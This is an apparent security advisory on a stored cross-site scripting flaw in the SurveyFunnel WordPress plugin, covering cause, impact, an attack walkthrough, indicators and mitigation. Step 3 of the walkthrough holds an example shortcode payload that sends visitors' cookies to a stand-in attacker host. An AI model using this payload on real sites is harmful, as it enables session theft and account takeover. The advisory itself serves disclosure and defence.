CVE-2025-12417: 
WordPress vulnerability analysis and mitigation

CVE-2025-12417 is a Stored Cross-Site Scripting (XSS) vulnerability in the SurveyFunnel – Survey Plugin for WordPress, affecting all versions up to and including 1.1.5. The flaw exists in the surveyfunnel_lite_survey shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 5, 2025, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The root cause is insufficient sanitization of user-supplied shortcode attributes in the plugin's public-facing class (class-surveyfunnel-lite-public.php, line 240), where attacker-controlled values are rendered without proper escaping. An authenticated attacker with at least contributor-level access can embed a malicious surveyfunnel_lite_survey shortcode containing arbitrary JavaScript into a post or page; the script executes in the browser of any user who subsequently visits that page (Wordfence, ENISA EUVD).

Successful exploitation allows an attacker to inject and persistently execute arbitrary JavaScript in the context of other users' browsers, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as privilege escalation or backdoor installation), and defacement of affected pages. The scope is changed (S:C), meaning the injected script can affect resources beyond the vulnerable component itself (Wordfence, ENISA EUVD).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the SurveyFunnel – Survey Plugin version 1.1.5 or earlier, using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert a surveyfunnel_lite_survey shortcode with a malicious attribute value, e.g., [surveyfunnel_lite_survey attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the page: Submit or publish the post/page containing the injected shortcode. The unsanitized attribute value is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the injected page, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing surveyfunnel_lite_survey shortcode with encoded script tags or JavaScript event handlers in attribute values.
• Database: Presence of <script> tags, javascript: URIs, or HTML event handlers (e.g., onerror=, onload=) within stored post content associated with the surveyfunnel_lite_survey shortcode in the wp_posts table.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages containing the SurveyFunnel shortcode, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to plugin files in wp-content/plugins/surveyfunnel-lite/, particularly public/class-surveyfunnel-lite-public.php, which could indicate a secondary compromise (Wordfence).

WordPress site administrators should update the SurveyFunnel – Survey Plugin to a version beyond 1.1.5 if a patched release is available from the plugin developer (wpeka-club). If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, site administrators should restrict contributor-level user registrations and review existing posts for malicious shortcode content. Applying a web application firewall (WAF) rule to block script injection in shortcode attributes can provide an additional layer of defense (Wordfence, WordPress Escaping Docs).

The vulnerability was discovered and disclosed by Wordfence, which published the advisory on December 5, 2025. No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified (Wordfence).